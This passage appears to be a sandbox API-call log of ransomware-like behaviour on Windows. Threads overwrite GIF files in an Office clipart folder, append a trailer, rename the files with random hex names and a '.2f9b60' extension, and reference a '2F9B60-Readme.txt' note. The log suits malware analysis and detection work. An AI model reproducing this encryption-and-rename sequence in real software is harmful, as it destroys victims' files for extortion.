0x20e42605 [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x48a5ec6c [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x61483d2a [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x13323ecc [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x20b7a18f [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x139a77da [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x321a948e [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x5caa8d80 [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x6edecd82 [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x5401cff8 [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x5c7fb4c0 [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x2667c492 [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x27f84b0b [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x2a80eccb [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x2ff55365 [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x1f8f06cf [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x59667f37 [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x699c6fe8 [0116.145] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x5bd451c0 [0116.145] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x1c7b0f3e [0116.145] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x12f8d663 [0116.145] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x6c6af865 [0116.145] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x262f69b7 [0116.145] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x40f39f3c [0116.145] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x42b1f195 [0116.157] ReadFile (in: hFile=0xe34, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x2f, lpNumberOfBytesRead=0x23c0f570, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x23c0f570*=0x2f, lpOverlapped=0x0) returned 1 [0116.160] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.160] WriteFile (in: hFile=0xe34, lpBuffer=0x20162d00*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x23c0f574, lpOverlapped=0x0 | out: lpBuffer=0x20162d00*, lpNumberOfBytesWritten=0x23c0f574*=0x2f, lpOverlapped=0x0) returned 1 [0116.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0116.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0116.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262360) returned 1 [0116.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20162d00) returned 1 [0116.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0116.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0116.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0116.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262360 [0116.199] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.199] WriteFile (in: hFile=0xe34, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23c0f690, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x23c0f690*=0x10a, lpOverlapped=0x0) returned 1 [0116.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0116.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0116.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0116.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e90) returned 1 [0116.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0116.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261610 [0116.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261610) returned 1 [0116.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0116.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0116.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0116.264] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="91") returned 2 [0116.264] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="ec") returned 2 [0116.264] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="0b") returned 2 [0116.264] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="89") returned 2 [0116.264] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="5b") returned 2 [0116.264] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="b9") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="fa") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="b2") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="d9") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="74") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="a8") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="0e") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="6d") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="4d") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="b3") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="23") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="1f") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="e4") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="e9") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="01") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="62") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="fd") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="a6") returned 2 [0116.265] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="d0") returned 2 [0116.265] RtlInitAnsiString (in: DestinationString=0x23c0f708, SourceString="91ec0b895bb9fab2d974a80e6d4db3231fe4e90162fda6d0" | out: DestinationString="91ec0b895bb9fab2d974a80e6d4db3231fe4e90162fda6d0") [0116.265] RtlAnsiStringToUnicodeString (in: DestinationString=0x23c0f6d8, SourceString="91ec0b895bb9fab2d974a80e6d4db3231fe4e90162fda6d0", AllocateDestinationString=1 | out: DestinationString="91ec0b895bb9fab2d974a80e6d4db3231fe4e90162fda6d0") returned 0x0 [0116.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9160 [0116.266] wcscat (in: _Dest=0x2050bc10, _Source="91ec0b895bb9" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\91ec0b895bb9") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\91ec0b895bb9" [0116.266] wcscat (in: _Dest=0x2050bc10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\91ec0b895bb9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\91ec0b895bb9.2f9b60" [0116.266] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\91ec0b895bb9.2f9b60", NtPathName=0x23c0f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\91ec0b895bb9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118880 [0116.266] NtSetInformationFile (FileHandle=0xe34, IoStatusBlock=0x23c0f750, FileInformation=0x118880, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118880) returned 1 [0117.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49ee0) returned 1 [0117.524] NtQueryInformationFile (in: FileHandle=0xe34, IoStatusBlock=0x23c0f718, FileInformation=0x23c0f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23c0f718, FileInformation=0x23c0f728) returned 0x0 [0117.524] NtSetInformationFile (FileHandle=0xe34, IoStatusBlock=0x23c0f718, FileInformation=0x23c0f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bc10) returned 1 [0117.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9160) returned 1 [0117.526] FlushFileBuffers (hFile=0xe34) returned 1 [0117.562] CloseHandle (hObject=0xe34) returned 1 [0117.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce114a0 [0117.563] wcscpy (in: _Dest=0x1ce114a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.563] wcscat (in: _Dest=0x1ce114a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0117.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862040) returned 1 Thread: id = 1262 os_tid = 0xd70 [0115.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif")) returned 0x20 [0116.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF", dwFileAttributes=0x20) returned 1 [0116.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x176c [0116.484] GetFileSizeEx (in: hFile=0x176c, lpFileSize=0x39ccfa00 | out: lpFileSize=0x39ccfa00*=733) returned 1 [0116.484] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x2d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.484] ReadFile (in: hFile=0x176c, lpBuffer=0x39ccf980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39ccf9c8, lpOverlapped=0x0 | out: lpBuffer=0x39ccf980*, lpNumberOfBytesRead=0x39ccf9c8*=0x4, lpOverlapped=0x0) returned 1 [0116.499] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0116.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0116.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0116.499] NtQuerySystemTime (in: CurrentTime=0x39ccf8c0 | out: CurrentTime=0x39ccf8c0*=132462177219526000) returned 0x0 [0116.499] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x5a3f8194 [0116.499] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x55cdd6c0 [0116.499] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x65a89f74 [0116.499] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x2cce2070 [0116.499] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x5fe52064 [0116.499] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x1802024 [0116.499] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x594e5a80 [0116.499] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0xc2f1812 [0116.500] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x34e1122d [0116.500] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0xac0147d [0116.500] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x7b125d29 [0116.500] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x6cdb0575 [0116.500] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0xfa5b96b [0116.500] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x5ff0387d [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x96030d3 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x30e4fc81 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x722bae5 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x6fa39e29 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0xd1e9a85 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x619b8dc6 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x157cebe7 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x130ce214 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x3f5bc4d3 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x7716f191 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x6628b18f [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x70cbe8fb [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x76b8d491 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x331d26b1 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x897a7ab [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x13474ff7 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x2f838b14 [0116.501] RtlRandomEx (in: Seed=0x39ccf8b0 | out: Seed=0x39ccf8b0) returned 0x4cbae686 [0116.511] ReadFile (in: hFile=0x176c, lpBuffer=0x41baa520, nNumberOfBytesToRead=0x2dd, lpNumberOfBytesRead=0x39ccf8b0, lpOverlapped=0x0 | out: lpBuffer=0x41baa520*, lpNumberOfBytesRead=0x39ccf8b0*=0x2dd, lpOverlapped=0x0) returned 1 [0116.511] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.511] WriteFile (in: hFile=0x176c, lpBuffer=0x41bae130*, nNumberOfBytesToWrite=0x2dd, lpNumberOfBytesWritten=0x39ccf8b4, lpOverlapped=0x0 | out: lpBuffer=0x41bae130*, lpNumberOfBytesWritten=0x39ccf8b4*=0x2dd, lpOverlapped=0x0) returned 1 [0116.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260920 [0116.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ad0 [0116.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ad0) returned 1 [0116.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bae130) returned 1 [0116.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41baa520) returned 1 [0116.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8682c0) returned 1 [0116.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c2b0) returned 1 [0116.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263ad0 [0116.660] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.660] WriteFile (in: hFile=0x176c, lpBuffer=0x167b80*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x39ccf9d0, lpOverlapped=0x0 | out: lpBuffer=0x167b80*, lpNumberOfBytesWritten=0x39ccf9d0*=0x10a, lpOverlapped=0x0) returned 1 [0116.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0116.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e00) returned 1 [0116.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0116.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0116.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260560) returned 1 [0116.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0116.955] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="ed") returned 2 [0116.955] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="4c") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="0f") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="f9") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="ab") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="f1") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="9f") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="40") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="f5") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="19") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="6c") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="e8") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="6b") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="fe") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="aa") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="c0") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="08") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="c0") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="c3") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="27") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="27") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="72") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="22") returned 2 [0116.956] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="cf") returned 2 [0116.956] RtlInitAnsiString (in: DestinationString=0x39ccfa48, SourceString="ed4c0ff9abf19f40f5196ce86bfeaac008c0c327277222cf" | out: DestinationString="ed4c0ff9abf19f40f5196ce86bfeaac008c0c327277222cf") [0116.956] RtlAnsiStringToUnicodeString (in: DestinationString=0x39ccfa18, SourceString="ed4c0ff9abf19f40f5196ce86bfeaac008c0c327277222cf", AllocateDestinationString=1 | out: DestinationString="ed4c0ff9abf19f40f5196ce86bfeaac008c0c327277222cf") returned 0x0 [0116.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced90f0 [0116.957] wcscat (in: _Dest=0x2050c7c0, _Source="ed4c0ff9abf1" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ed4c0ff9abf1") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ed4c0ff9abf1" [0116.957] wcscat (in: _Dest=0x2050c7c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ed4c0ff9abf1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ed4c0ff9abf1.2f9b60" [0116.957] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ed4c0ff9abf1.2f9b60", NtPathName=0x39ccf9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ed4c0ff9abf1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118950 [0116.957] NtSetInformationFile (FileHandle=0x176c, IoStatusBlock=0x39ccfa90, FileInformation=0x118950, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118950) returned 1 [0117.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49a80) returned 1 [0117.126] NtQueryInformationFile (in: FileHandle=0x176c, IoStatusBlock=0x39ccfa58, FileInformation=0x39ccfa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39ccfa58, FileInformation=0x39ccfa68) returned 0x0 [0117.126] NtSetInformationFile (FileHandle=0x176c, IoStatusBlock=0x39ccfa58, FileInformation=0x39ccfa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c7c0) returned 1 [0117.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced90f0) returned 1 [0117.128] FlushFileBuffers (hFile=0x176c) returned 1 [0117.130] CloseHandle (hObject=0x176c) returned 1 [0117.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050c7c0 [0117.131] wcscpy (in: _Dest=0x2050c7c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.131] wcscat (in: _Dest=0x2050c7c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c7c0) returned 1 [0117.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8620f0) returned 1 Thread: id = 1263 os_tid = 0xd7c [0115.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif")) returned 0x20 [0116.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF", dwFileAttributes=0x20) returned 1 [0116.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1720 [0116.307] GetFileSizeEx (in: hFile=0x1720, lpFileSize=0x1d07f6c0 | out: lpFileSize=0x1d07f6c0*=1429) returned 1 